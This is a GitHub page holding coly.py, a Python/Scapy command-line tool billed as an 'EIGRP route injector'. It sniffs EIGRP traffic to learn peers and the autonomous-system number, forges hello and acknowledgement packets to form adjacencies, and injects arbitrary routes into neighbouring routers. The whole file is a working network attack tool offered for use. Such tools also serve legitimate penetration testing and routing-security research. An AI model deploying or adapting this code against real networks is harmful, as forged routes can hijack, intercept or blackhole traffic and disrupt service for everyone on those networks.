-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathcoly.py
executable file
·237 lines (213 loc) · 7.57 KB
/
coly.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
#!/usr/bin/env python
import cmd, sys, time, logging
from socket import AF_INET, SOCK_STREAM
import fcntl
import struct
import threading
logging.getLogger("scapy.runtime").setLevel(50)
from scapy.all import *
conf.verb = 0
peers = set()
asnumber = None
version = "0.1"
class inject(threading.Thread):
def __init__(self, network, netmask, interface, source_ip):
global asnumber, peers
self.network = network
self.netmask = netmask
self.source_ip = source_ip
self.interface = interface
self.peers = peers
self.peer = None
threading.Thread.__init__(self)
self.asn = asnumber
def run(self):
if self.peers:
for self.peer in self.peers:
print "Sending route to %s" %self.peer
update = Ether()/IP()/EIGRP()
update.tlvlist = [EIGRPIntRoute()]
update[2].asn = self.asn
update[3].nexthop = "0.0.0.0"
update[3].dst = self.network
update[1].src = self.source_ip
update[1].dst = self.peer
update[2].opcode = 1
update[3].prefixlen = self.netmask
sendp(update, iface = self.interface)
else:
print "Got no neighbours"
#print "Route injected: %s/%i" %(self.network, self.netmask)
class discover(threading.Thread):
def __init__(self, interface, source_ip):
self.thread_alive = True
self.interface = interface
self.source_ip = source_ip
threading.Thread.__init__(self)
def run(self):
global peers, asnumber
while self.thread_alive:
eigrp_packet = sniff(iface = self.interface, filter = "ip[9:1] == 0x58", count = 1, timeout = 5)
try:
if eigrp_packet[0][2].opcode == 5 and eigrp_packet[0][1].src != self.source_ip:
if eigrp_packet[0][1].src not in peers:
peers.add(eigrp_packet[0][1].src)
print "\rPeer found: %s AS: %s \r" %(eigrp_packet[0][1].src, eigrp_packet[0][2].asn)
if not asnumber:
asnumber = eigrp_packet[0][2].asn
print "\rAS set to %i" %asnumber
except:
pass
def exit(self):
self.thread_alive = False
class say_ack(threading.Thread):
def __init__(self, asn, interface, source_ip):
self.thread_alive = True
self.asn = asn
self.interface = interface
self.source_ip = source_ip
threading.Thread.__init__(self)
def sendAck(self):
upd = Ether()/IP()/EIGRP()
upd[2].asn = self.asn
upd[1].src = self.source_ip
upd[1].dst = self.peer
upd[2].opcode = 1
upd[2].ack = self.seq
upd[2].flags = 1L
sendp(upd, iface = self.interface)
def run(self):
global peers
while self.thread_alive:
update = sniff(iface = self.interface, filter="ip[9:1] == 0x58", count = 1, timeout = 5)
try:
if update[0][2].opcode == 1 and update[0][1].src != self.source_ip:
self.seq = update[0][2].seq
#print "Sending ACK, SEQ: %s" %self.seq
self.peer = update[0][1].src
if update[0][1].src not in peers:
print "\rPeer found: %s AS: %s \r" %(update[0][1].src, self.asn)
peers.add(update[0][1].src)
self.sendAck()
except:
pass
def exit(self):
self.thread_alive = False
class say_hello(threading.Thread):
def __init__(self, asn, interface, source_ip):
self.asn = asn
self.interface = interface
self.source_ip = source_ip
self.thread_alive = True
threading.Thread.__init__(self)
def run(self):
hello = Ether()/IP()/EIGRP()
hello[2].tlvlist = [EIGRPParam(), EIGRPSwVer()]
hello[2].asn = self.asn
hello[1].src = self.source_ip
hello[1].dst = "224.0.0.10"
while self.thread_alive:
asd = sendp(hello, iface = self.interface)
time.sleep(5)
def exit(self):
self.thread_alive = False
class main(cmd.Cmd):
def __init__(self):
global peers
self.peers = peers
cmd.Cmd.__init__(self)
self.intro = "EIGRP route injector, v%s Source: http://code.google.com/p/coly/" %version
self.ack_thread = None
self.hello_thread = None
self.discover_thread = None
self.prompt = socket.gethostname()+"(router-config)#"
self.interface = None
self.source_ip = None
self.sock = socket.socket(AF_INET, SOCK_STREAM)
def do_EOF(self, arg):
self.do_exit(self)
def emptyline(self):
pass
def preloop(self):
cmd.Cmd.preloop(self)
def do_inject(self, address):
try:
self.network = address.split("/",1)[0]
self.netmask = int(address.split("/",1)[1])
self.inject_thread = inject(self.network, self.netmask, self.interface, self.source_ip)
self.inject_thread.start()
except:
print "Arg error"
def help_inject(self):
print "Injects defined route to EIGRP process. Ex: \"inject 192.168.1.0/24\""
def do_interface(self, interface):
self.interface = interface
try:
self.source_ip = inet_ntoa(fcntl.ioctl(self.sock.fileno(), 0x8915, struct.pack('256s', interface[:15]))[20:24])
print "Interface set to %s, IP: %s" %(self.interface, self.source_ip)
except IOError, exc:
print "Interface error: %s" %exc
except:
print "Arg error"
def help_interface(self):
print "Set interface. Ex: \"interface eth0\""
def do_asn(self, asn):
global asnumber
if not asn and asnumber:
print "AS is %s" %asnumber
else:
try:
asnumber = int(asn)
print "AS number set to %i" %asnumber
except:
print "Arg error"
def help_asn(self):
print "Manualy set EIGRP Autonomous System number. Ex: \"asn 10\""
def do_peers(self, emp):
if peers:
for peer in peers:
print peer
else:
print "I've got no peers"
def help_peers(self):
print "Prints active peers found on AS"
def do_hi(self, args):
global asnumber
self.asn = asnumber
if self.asn:
if self.interface:
self.hello_thread = say_hello(self.asn, self.interface, self.source_ip)
self.ack_thread = say_ack(self.asn, self.interface, self.source_ip)
self.ack_thread.start()
self.hello_thread.start()
print "Hello thread started"
else:
print "No interface's defined"
elif self.discover_thread:
print "Can't find any EIGRP processes. Set AS manually"
else:
print "Set AS number with \"asn\" or use \"discover\""
def help_hi(self):
print "Starts two threads: Hello thread, sends EIGRP Hello messages to multicast address\nACK thread, sends ACK Update response to Init Update packets"
def do_discover(self, args):
if self.interface:
self.discover_thread = discover(self.interface, self.source_ip)
self.discover_thread.start()
print "Discovering Peers and AS"
else:
print "No interface's defined"
def help_discover(self):
print "Listens for EIGRP Hello packets. Automatically determines active peers and AS running on broadcast domain"
def do_exit(self, args):
print "\nFinishing active threads..."
if self.hello_thread:
self.hello_thread.exit()
if self.ack_thread:
self.ack_thread.exit()
if self.discover_thread:
self.discover_thread.exit()
exit()
def help_exit(self):
print "You know what it does :)"
load_contrib("eigrp")
main().cmdloop()